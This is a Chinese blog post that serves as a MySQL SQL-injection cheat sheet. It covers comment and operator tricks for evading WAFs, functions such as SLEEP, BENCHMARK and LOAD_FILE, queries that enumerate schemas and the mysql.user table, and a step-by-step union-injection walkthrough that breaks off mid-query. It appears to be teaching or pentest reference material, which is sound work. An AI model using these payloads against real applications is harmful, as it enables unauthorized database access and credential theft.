首页 > 数据库 >sql注入-MySQL

sql注入-MySQL

时间:2024-04-07 23:29:39浏览次数:32  
标签:name MySQL len str sql 字符串 schema select 注入

01. 常用符号、函数、语句

1.1. 常用符号

1.1.1. 注释符

注释符 说明
#(%23) 单行注释
在URL中#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由,所以测试一般用URL编码后的%23

– -
±-+
单行注释
注意–后还有一个空格;其中+号会被URL解码为空格
/**/ 多行(内联)注释
一般用于绕过WAF、代替空格等

1.1.2. 运算符

运算符 说明
&& 与,同 and
|| 或,同 or
! 非,同 not
^ 异或,同xor
|转义符
~ 一元比特反转
<< 左移
>> 右移
+ 加,URL解码后可替代空格
- 减法
* 乘法
/ 或 div 除法
% 或 mod 取余
= 等于
<>, != 不等于
> 大于
< 小于
<= 小于等于
>= 大于等于
BETWEEN 在两值之间
NOT BETWEEN 不在两值之间
IN 在集合中
NOT IN 不在集合中
<=> 严格比较两个NULL值是否相等
LIKE 模糊匹配
REGEXP 或 RLIKE 正则式匹配
IS NULL 为空
IS NOT NULL 不为空

1.1.3. 全局变量

所有全局变量可通过如下语句查看:

SHOW GLOBAL VARIABLES;
SHOW VARIABLES;
变量 说明
@@VERSION 返回版本信息
@@GLOBAL.VERSION 同@@VERSION
@@HOSTNAME 返回安装的计算机名称
@@BASEDIR 返回MYSQL绝对路径
@@DATADIR 数据路径

1.2. 常用函数

完整的各种函数可以参考:https://www.runoob.com/mysql/mysql-functions.html

1.2.1. 数据库信息

函数 说明
USER() 获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()
DATABASE() 获取当前选择的数据库名,同SCHEMA()
VERSION() 获取当前版本信息

1.2.2. 数据类型转换

函数 说明
ASCII(str) 返回字符串第一个字符的ASCII值
ORD(str) 同ASCII(str)
HEX(N_S) 参数为字符串时,返回 N or S 的16进制字符串形式;为数字时,返回其16进制数形式
UNHEX(str) HEX(str) 的逆向函数将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符
BIN(N) 返回十进制数值 N 的二进制数值的字符串表现形式N 是一个BIGINT型数值,作用相当于CONV(N,10,2)
OCT(N) 返回十进制数值 N 的八进制数值的字符串表现形式
CONV(N,from_base,to_base) 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回
CHAR(N,… [USING charset_name]) 将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串

1.2.3. 字符串截取

函数 说明
SUBSTR(str,N_start,N_length) 对指定字符串进行截取,为SUBSTRING的简单版
str : 截取的字符串
N_start : 截取起始位置 ( mysql中的start是从1开始的 )
N_length : 截取长度
SUBSTRING(str,start)
SUBSTRING(str,start,len)
SUBSTRING(str FROM start)
SUBSTRING(str FROM start FOR len)
对指定字符串进行截取,有多种形式
str : 截取的字符串
start : 截取起始位置 ( mysql中的start是从1开始的 )
len : 截取长度
MID(str,pos,len) 同于 SUBSTRING(str,pos,len)
RIGHT(str,len) 对指定字符串从最右边截取指定长度
LEFT(str,len) 对指定字符串从最左边截取指定长度
RPAD(str,len,padstr) 在 str 右方补齐 len 位的字符串 padstr,返回新字符串如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度
LPAD(str,len,padstr) 与RPAD相似,在str左边补齐
INSERT(str,pos,len,newstr) 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串INSERT(str,len,1,0x0)可当做截取函数

1.2.4. 字符串拼接

函数 说明
CONCAT(str1,str2…) 函数用于将多个字符串合并为一个字符串
CONCAT_WS(separator,str1,str2…) 和concat函数类似,只是通过分隔符separator将字符串连接在一起
GROUP_CONCAT(…) 返回一个字符串结果,该结果由分组中的值通过逗号连接组合而成
MAKE_SET(bits,str1,str2,…) 返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,‘1’,‘710’))

1.2.5. 数据匹配

函数 说明
= “statement” 全匹配
LIKE “statement” 匹配数据,%代表任意内容
REGEXP “statement” 正则匹配数据
RLIKE “statement” 与regexp相同,正则匹配数据

1.2.6. 条件函数

函数 说明
IF(exp,state1,state2) 条件语句,exp为true,执行state1,否则执行state2
CASE…WHEN exp THEN state1 ELSE state2 END 同IF,…可直接省略
NULLIF(expr1,expr2) 若expr1与expr2相同,则返回expr1,否则返回NULL

1.2.7. 其他

函数/语句 说明
SLEEP(N) 休眠N秒
BENCHMARK(count,expr): 将表达式expr重复运行count次(消耗CPU),可以达到sleep()的效果
ORDER BY 用于对结果集进行排序,默认按照升序对记录进行排序
EXISTS(sql) 判断SQL语句执行后是否有结果;存在的话返回结果为:1(true),不存在的话返回结果:0(false)
LIMIT m,n 查询结果从 m 开始取 n 个
LENGTH(str) 返回字符串的长度
LOAD_FILE(filePath) 读取文件内容,可以将文件名转换成ASCII码或者十六进制的形式;secure_file_priv默认情况下为null不允许读文件
ASCII码需要用char()函数,char(96,97)
十六进制前面要加上 0x
读取内容不显示的情况下,可以用hex()函数:hex(load_file())
PI() 返回π的具体数值
LOCATE(substr,str,[pos]) 返回子字符串第一次出现的位置
POSITION(substr IN str) 等同于 LOCATE()
LOWER(str) 将字符串的大写字母全部转成小写同:LCASE(str)
UPPER(str) 将字符串的小写字母全部转成大写同:UCASE(str)
ELT(N,str1,str2,str3,…) 与MAKE_SET(bit,str1,str2…)类似,根据N返回参数值
CHARSET(str) 返回字符串使用的字符集
DECODE(crypt_str,pass_str) 使用 pass_str 作为密码,解密加密字符串 crypt_str加密函数:ENCODE(str,pass_str)

1.3. 常用语句

说明 语句
基础信息 获取数据库版本信息
select version();

select @@innodb_version;
获取当前用户
select user();
获取当前数据库
select database();
数据路径
select @@datadir;
获取所有数据库 select schema_name from information_schema.schemata;
获取所有用户 查看表结构
desc mysql.user
获取所有用户信息
select * from mysql.user
获取当前数据库的表名 desc information_schema.tables;

select table_name from information_schema.tables where table_schema = database();

select group_concat(table_name) from information_schema.tables where table_schema = database();
获取当前数据库的某表的列名 select column_name from information_schema.columns where table_name = ‘表名’;
select group_concat(column_name) from information_schema.columns where table_name = ‘表名’;
获取当前数据库中某列的值 select id ,username,password from users;
查询DBA账户(一般root) select host, user from mysql.user where super_priv = ‘y’;

02. 各种注入手法

1.1. 联合(union)注入

1.1.1. 注入一般流程

-- 判断字段数目
order by 3

-- 联合查询搜集信息(表中字段数为3,注意字符类型,如 int,String之类的)
union select 1,2,3

-- 查询当前数据库名称
union select 1,2,database();

-- 查询所有数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata;

-- 查询当前数据库中的所有表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();

-- 查询某表的列名,studnet 表示 具体的表名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'student'

-- 查询数据
union select 1,2,group_concat(id,name,age) from student;

1.1.2. 扩展

使用@当临时变量,来判断字段数

select * from user limit 1 into @,@;

1.1.3. 常用语句

(select(group_concat(SCHEMA_NAME)from(information_schema.schemata)))

(select(group_concat

标签:name,MySQL,len,str,sql,字符串,schema,select,注入
From: https://blog.csdn.net/2202_75361164/article/details/137482387

相关文章

  • mysql系列之一条sql的旅程(二)
    在介绍一条sql是怎么执行的之前,我们先来了解一下mysql的架构: 如上图mysql主要分为server层和存储引擎层:server层算是mysql的核心能力层,如sql语句的解析优化,权限管控,各类的sql函数、存储过程,以及自身数据备份,恢复等高级功能(binlog实现),我们用到的一些基础的增删......
  • SQL窗口函数的移动求和/平均,及相应的Leecode题目
    原文链接:https://blog.csdn.net/weixin_45638528/article/details/130229603移动求和的窗口函数——连续n个数据求和sum(字段1)over(partitionby字段2orderby字段3rowsnpreceding)LEECODE1321餐馆营业额变化增长表:Customer+---------------+---------+|Colum......
  • 使用MySQL驱动方式实现读写分离
    前言MySQL在5.1.X版本之后增加了对multi-host的支持,我们可以使用它来实现读写分离。正常的jdbc连接格式为jdbc:mysql://ip:3306/testdb?characterEncoding=UTF-8multi-host的jdbc连接格式为jdbc:mysql:replication://ip:3306,ip:3307,ip:3308/testdb?useUnicode=t......
  • Springboot计算机毕业设计财务报销微信小程序【附源码】开题+论文+mysql+程序+部署
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着移动互联网技术的飞速发展,微信小程序作为一种新型的应用形态,以其便捷、高效的特点受到了广大用户的青睐。在高等教育领域,财务管理是学校运营中不......
  • Springboot计算机毕业设计博物馆预约小程序【附源码】开题+论文+mysql+程序+部署
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在信息化、数字化日益发展的今天,博物馆作为传承历史文化的重要场所,其管理和服务方式也在不断革新。传统的博物馆参观方式往往受限于开放时间、参观人......
  • 【SQL】数据定义语言(DDL):包括创建、修改和删除数据库对象
    数据定义语言(DDL)是用于定义和管理数据库中的数据结构和对象的SQL语言子集。它允许用户创建、修改和删除数据库中的表、索引、触发器、序列、存储过程等对象。DDL语句在数据库系统中执行时,通常会影响整个数据库的结构,而不是单个的数据记录。以下是DDL中一些常用语句的详细介绍......
  • 【数据库】MySQL数据库学习涵盖的多个方面
    数据库基础概念:数据库的概念和分类:了解什么是数据库以及常见的数据库类型。关系型数据库管理系统(RDBMS):理解RDBMS的概念及其在数据库管理中的作用。MySQL安装与配置:安装MySQL:学习如何在不同操作系统上安装MySQL数据库服务器。配置MySQL:包括设置root密码、配置网络连接、调整......
  • 探究MySQL8.0驱动的加载
    探究MySQL8.0驱动的加载大家在连接mysql的时候,启动项目,会警告你推荐使用com.mysql.cj.jdbc.Driver而不是com.mysql.jdbc.Driver那么这两者到底有什么区别呢本质区别:com.mysql.jdbc.Driver是mysql-connector-java5中的,需要手动加载驱动com.mysql.cj.jdbc.Driver是mysql......
  • 探究MySQL8.0驱动的加载
    探究MySQL8.0驱动的加载大家在连接mysql的时候,启动项目,会警告你推荐使用com.mysql.cj.jdbc.Driver而不是com.mysql.jdbc.Driver那么这两者到底有什么区别呢本质区别:com.mysql.jdbc.Driver是mysql-connector-java5中的,需要手动加载驱动com.mysql.cj.jdbc.Driver是mysql-......
  • AI编程005/ 逆向生成mysql的建表语句
    1/通过insertinto语句生成建表语句有些时候我们能获取到表的insert语句,但是没有表结构。我们可以借助AI工具,让其逆向生成mysql的建表语句。提示词如下:根据下面的SQL语句,逆向生存mysql的建表语句,每个字段都加上中文注释。'''INSERTINTOsys_user(user_id,dept_id,us......